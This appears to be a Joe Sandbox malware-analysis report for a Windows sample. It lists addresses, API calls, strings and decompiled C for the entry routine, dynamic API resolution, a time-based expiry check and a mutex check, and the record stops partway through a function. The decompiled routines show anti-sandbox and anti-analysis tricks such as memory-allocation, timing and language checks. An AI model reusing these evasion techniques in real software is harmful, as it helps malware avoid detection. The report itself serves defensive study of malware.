0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(74DF0000,00787770), ref: 0040C4BD
GetProcAddress.KERNEL32(74DF0000,00787680), ref: 0040C4D5
GetProcAddress.KERNEL32(74DF0000,00785200), ref: 0040C4EE
GetProcAddress.KERNEL32(74DF0000,007877A0), ref: 0040C506
GetProcAddress.KERNEL32(74DF0000,007876B0), ref: 0040C51E
GetProcAddress.KERNEL32(74DF0000,00787518), ref: 0040C537
GetProcAddress.KERNEL32(74DF0000,00787548), ref: 0040C54F
GetProcAddress.KERNEL32(74DF0000,00787740), ref: 0040C567
GetProcAddress.KERNEL32(74DF0000,00787758), ref: 0040C580
GetProcAddress.KERNEL32(74DF0000,00787788), ref: 0040C598
GetProcAddress.KERNEL32(74DF0000,007877B8), ref: 0040C5B0
GetProcAddress.KERNEL32(74DF0000,00787590), ref: 0040C5C9
GetProcAddress.KERNEL32(74DF0000,007877D0), ref: 0040C5E1
GetProcAddress.KERNEL32(74DF0000,00785220), ref: 0040C5F9
GetProcAddress.KERNEL32(74DF0000,007878A8), ref: 0040C612
GetProcAddress.KERNEL32(74DF0000,00785240), ref: 0040C62A
GetProcAddress.KERNEL32(74DF0000,00787120), ref: 0040C642
GetProcAddress.KERNEL32(74DF0000,007877E8), ref: 0040C65B
GetProcAddress.KERNEL32(74DF0000,00785260), ref: 0040C673
GetProcAddress.KERNEL32(74DF0000,00787890), ref: 0040C68B
GetProcAddress.KERNEL32(74DF0000,00785280), ref: 0040C6A4
GetProcAddress.KERNEL32(74DF0000,00787800), ref: 0040C6BC
GetProcAddress.KERNEL32(74DF0000,00787860), ref: 0040C6D4
GetProcAddress.KERNEL32(74DF0000,00787878), ref: 0040C6ED
GetProcAddress.KERNEL32(74DF0000,00787818), ref: 0040C705
GetProcAddress.KERNEL32(74DF0000,00784DC0), ref: 0040C71D
GetProcAddress.KERNEL32(74DF0000,00787830), ref: 0040C736
GetProcAddress.KERNEL32(74DF0000,00787848), ref: 0040C74E
GetProcAddress.KERNEL32(74DF0000,00787DD0), ref: 0040C766
GetProcAddress.KERNEL32(74DF0000,00784DE0), ref: 0040C77F
GetProcAddress.KERNEL32(74DF0000,00787C80), ref: 0040C797
GetProcAddress.KERNEL32(74DF0000,00787CC8), ref: 0040C7AF
GetProcAddress.KERNEL32(74DF0000,00787C68), ref: 0040C7C8
GetProcAddress.KERNEL32(74DF0000,00787DE8), ref: 0040C7E0
GetProcAddress.KERNEL32(74DF0000,00787CE0), ref: 0040C7F8
GetProcAddress.KERNEL32(74DF0000,00784FC0), ref: 0040C811
GetProcAddress.KERNEL32(74DF0000,00784E80), ref: 0040C829
GetProcAddress.KERNEL32(74DF0000,00787E48), ref: 0040C841
GetProcAddress.KERNEL32(74DF0000,00787E00), ref: 0040C85A
GetProcAddress.KERNEL32(74DF0000,00784EA0), ref: 0040C872
GetProcAddress.KERNEL32(74DF0000,00786EF0), ref: 0040C88A
GetProcAddress.KERNEL32(74DF0000,00787C20), ref: 0040C8A3
GetProcAddress.KERNEL32(74DF0000,00787D70), ref: 0040C8BB
GetProcAddress.KERNEL32(74DF0000,00784D80), ref: 0040C8D3
GetProcAddress.KERNEL32(74DF0000,00784CA0), ref: 0040C8EC
GetProcAddress.KERNEL32(74DF0000,00784E00), ref: 0040C904
GetProcAddress.KERNEL32(74DF0000,00787E18), ref: 0040C91C
GetProcAddress.KERNEL32(74DF0000,00784EC0), ref: 0040C935
GetProcAddress.KERNEL32(74DF0000,00787ED8), ref: 0040C94D
GetProcAddress.KERNEL32(74DF0000,00784F00), ref: 0040C965
GetProcAddress.KERNEL32(74DF0000,00784DA0), ref: 0040C97E
GetProcAddress.KERNEL32(74DF0000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(74DF0000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(74DF0000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(74DF0000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(74DF0000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(00787638,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(00787710,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNELBASE(007875A8,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00787578,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(007875C0,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(00787500,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(007875F0,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(00787728,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(00787530,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(00787608,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(00787650,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(007876C8,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(00787698,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(775E0000,00787458), ref: 0040CAF6
GetProcAddress.KERNEL32(775E0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(775E0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6FE60000,00787E30), ref: 0040CB49
GetProcAddress.KERNEL32(6FE60000,00784E40), ref: 0040CB61
GetProcAddress.KERNEL32(6FE60000,00784E20), ref: 0040CB79
GetProcAddress.KERNEL32(6FE60000,00784FA0), ref: 0040CB92
GetProcAddress.KERNEL32(6FE60000,00787E90), ref: 0040CBAA
GetProcAddress.KERNEL32(6FE60000,00784F60), ref: 0040CBC2
GetProcAddress.KERNEL32(6FE60000,00784E60), ref: 0040CBDB
GetProcAddress.KERNEL32(6FE60000,00784EE0), ref: 0040CBF3
GetProcAddress.KERNEL32(6FE60000,00784F20), ref: 0040CC0B
GetProcAddress.KERNEL32(6FE60000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(768F0000,00787E60), ref: 0040CC47
GetProcAddress.KERNEL32(768F0000,00787CB0), ref: 0040CC60
GetProcAddress.KERNEL32(768F0000,00784F40), ref: 0040CC78
GetProcAddress.KERNEL32(768F0000,00784F80), ref: 0040CC90
GetProcAddress.KERNEL32(768F0000,00787E78), ref: 0040CCA9
GetProcAddress.KERNEL32(768F0000,00787348), ref: 0040CCC1
GetProcAddress.KERNEL32(768F0000,00784FE0), ref: 0040CCD9
GetProcAddress.KERNEL32(768F0000,00785000), ref: 0040CCF2
GetProcAddress.KERNEL32(768F0000,00787EA8), ref: 0040CD0A
GetProcAddress.KERNEL32(768F0000,00787C98), ref: 0040CD22
GetProcAddress.KERNEL32(768F0000,00787D40), ref: 0040CD3B
GetProcAddress.KERNEL32(74B40000,00787BF0), ref: 0040CD60
GetProcAddress.KERNEL32(74B40000,00785020), ref: 0040CD78
GetProcAddress.KERNEL32(74B40000,00787D10), ref: 0040CD91
GetProcAddress.KERNEL32(74B40000,00784C40), ref: 0040CDA9
GetProcAddress.KERNEL32(74B40000,00787EC0), ref: 0040CDC1
GetProcAddress.KERNEL32(74B40000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76B90000,00787CF8), ref: 0040CDFD
GetProcAddress.KERNEL32(76B90000,00787D28), ref: 0040CE16
GetProcAddress.KERNEL32(76B90000,00784C60), ref: 0040CE2E
GetProcAddress.KERNEL32(76B90000,00784D60), ref: 0040CE46
GetProcAddress.KERNEL32(76B90000,00787D58), ref: 0040CE5F
GetProcAddress.KERNEL32(76B90000,007872F8), ref: 0040CE77
GetProcAddress.KERNEL32(76B90000,00787D88), ref: 0040CE8F
GetProcAddress.KERNEL32(76B90000,00787C08), ref: 0040CEA8
GetProcAddress.KERNEL32(76B90000,00787DA0), ref: 0040CEC0
GetProcAddress.KERNEL32(76B90000,00787DB8), ref: 0040CED8
GetProcAddress.KERNEL32(76B90000,00787468), ref: 0040CEF1
GetProcAddress.KERNEL32(76B90000,00784D20), ref: 0040CF09
GetProcAddress.KERNEL32(76B90000,00787C38), ref: 0040CF21
GetProcAddress.KERNEL32(76B90000,00787C50), ref: 0040CF3A
GetProcAddress.KERNELBASE(6F160000,00786040), ref: 0040CF5B
GetProcAddress.KERNEL32(768E0000,00784C80), ref: 0040CF7C
GetProcAddress.KERNEL32(749A0000,00784CC0), ref: 0040CF9E
GetProcAddress.KERNEL32(73DA0000,00787170), ref: 0040CFC3
GetProcAddress.KERNEL32(73DA0000,00784CE0), ref: 0040CFDB
GetProcAddress.KERNEL32(73DA0000,00786F40), ref: 0040CFF4
GetProcAddress.KERNEL32(73DA0000,00784D00), ref: 0040D00C
GetProcAddress.KERNEL32(73DA0000,00786F90), ref: 0040D024
GetProcAddress.KERNEL32(73DA0000,00788070), ref: 0040D03D
GetProcAddress.KERNEL32(6E4F0000,00788058), ref: 0040D062
GetProcAddress.KERNEL32(6E4F0000,00787F08), ref: 0040D07A
GetProcAddress.KERNEL32(6E4F0000,00784D40), ref: 0040D093
GetProcAddress.KERNEL32(6E4F0000,0076AAA8), ref: 0040D0AB
GetProcAddress.KERNEL32(6E4F0000,007880F8), ref: 0040D0C3
GetProcAddress.KERNEL32(6E4F0000,00787EF0), ref: 0040D0DC
GetProcAddress.KERNEL32(76720000,00787F20), ref: 0040D0FD
GetProcAddress.KERNEL32(76720000,00787488), ref: 0040D115
GetProcAddress.KERNEL32(76720000,00787F38), ref: 0040D12E
GetProcAddress.KERNEL32(75390000,00788138), ref: 0040D14F
GetProcAddress.KERNEL32(75390000,00787FE0), ref: 0040D167
GetProcAddress.KERNEL32(73660000,007870F8), ref: 0040D18D
GetProcAddress.KERNEL32(73660000,00788498), ref: 0040D1A5
GetProcAddress.KERNEL32(73660000,00786FB8), ref: 0040D1BD
GetProcAddress.KERNEL32(73660000,00788088), ref: 0040D1D6
GetProcAddress.KERNEL32(73660000,00788040), ref: 0040D1EE
GetProcAddress.KERNEL32(73660000,00788158), ref: 0040D206
GetProcAddress.KERNEL32(73660000,007882D8), ref: 0040D21F
GetProcAddress.KERNEL32(73660000,00787F80), ref: 0040D237
GetProcAddress.KERNEL32(747D0000,007884B8), ref: 0040D258
GetProcAddress.KERNEL32(747D0000,00788178), ref: 0040D271
GetProcAddress.KERNEL32(6EB20000,00787FF8), ref: 0040D292

Strings

GetEnvironmentVariableA, xrefs: 0040C99F
lstrcpyA, xrefs: 0040C9CD
@`x, xrefs: 0040CF4E
`Rx, xrefs: 0040C666
}x, xrefs: 0040C7D3
wx, xrefs: 0040C64D
Mx, xrefs: 0040C771
pqx, xrefs: 0040CFB6
InternetCrackUrlA, xrefs: 0040CC16
`Lx, xrefs: 0040CE21
SetEnvironmentVariableA, xrefs: 0040C9B6
x~x, xrefs: 0040CC9B
@}x, xrefs: 0040CD2D
Ox, xrefs: 0040CBFE
@Mx, xrefs: 0040D085
xux, xrefs: 0040CA2F
Nx, xrefs: 0040CBE6
Pvx, xrefs: 0040CAAB
`Mx, xrefs: 0040CE39
Hux, xrefs: 0040C542
`Ox, xrefs: 0040CBB5
Hsx, xrefs: 0040CCB4
Xwx, xrefs: 0040C572
p}x, xrefs: 0040C8AE
htx, xrefs: 0040CEE3
h|x, xrefs: 0040C7BA
8|x, xrefs: 0040CF14
memset, xrefs: 0040CB01
`~x, xrefs: 0040CC3A
X}x, xrefs: 0040CE51
0xx, xrefs: 0040C728
Nx, xrefs: 0040CB6C
qx, xrefs: 0040C635
|x, xrefs: 0040C7EB
xxx, xrefs: 0040C6DF
(wx, xrefs: 0040CA76
0~x, xrefs: 0040CB3B
@Rx, xrefs: 0040C61D
H~x, xrefs: 0040C834
lstrcpynA, xrefs: 0040C9E3
@Nx, xrefs: 0040CB54
Hxx, xrefs: 0040C741
|x, xrefs: 0040C895
`xx, xrefs: 0040C6C7
pwx, xrefs: 0040C4B0
Rx, xrefs: 0040C5EC
@Ox, xrefs: 0040CC6B
(}x, xrefs: 0040CE08
P|x, xrefs: 0040CF2C
Mx, xrefs: 0040CEFC
Ox, xrefs: 0040CCCC
memcpy, xrefs: 0040CB18
Px, xrefs: 0040CD6B
@ox, xrefs: 0040CFE6
@Lx, xrefs: 0040CD9C
@wx, xrefs: 0040C55A
`Nx, xrefs: 0040CBCD
Lx, xrefs: 0040CFCE
RegGetValueA, xrefs: 0040CDCC
8vx, xrefs: 0040C9FA
CreateThread, xrefs: 0040C989
Xtx, xrefs: 0040CAE9
0ux, xrefs: 0040CA87

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Mx$ Nx$ Ox$ Px$ Rx$ qx$ |x$(wx$(}x$0ux$0xx$0~x$8vx$8|x$@Lx$@Mx$@Nx$@Ox$@Rx$@`x$@ox$@wx$@}x$CreateThread$GetEnvironmentVariableA$Hsx$Hux$Hxx$H~x$InternetCrackUrlA$Pvx$P|x$RegGetValueA$SetEnvironmentVariableA$Xtx$Xwx$X}x$`Lx$`Mx$`Nx$`Ox$`Rx$`xx$`~x$htx$h|x$lstrcpyA$lstrcpynA$memcpy$memset$pqx$pwx$p}x$xux$xxx$x~x$Lx$Mx$Nx$Ox$wx$|x$}x
API String ID: 2238633743-471931343
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 0057003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0057024D

Strings

kernel32.dll, xrefs: 0057008F, 00570095
cess, xrefs: 0057018D

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 5717669d84d0f16537956db11d4a14b339c3acd7db5cc17d71a7594dd72e90b7
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 2A526974A01229DFDB64CF58D985BA8BBB1BF09304F1480D9E94DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x785160
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x7850a0
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00785160), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

`Qx, xrefs: 00406977

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: `Qx
API String ID: 2797641603-1256752937
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00770C38), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0076EC70), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0076A8A8), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00770CF8), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00770C20), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00770BF0), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00770DD0), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00770CB0), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0076A8E8), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0076A908), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00770D28,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00770B60,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74B40000,00770B90), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,00785360,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787770), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787680), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00785200), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007877A0), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007876B0), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787518), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787548), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787740), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787758), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787788), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007877B8), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00787590), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007877D0), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00785220), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007878A8), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00785240), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00785160), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x785360
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
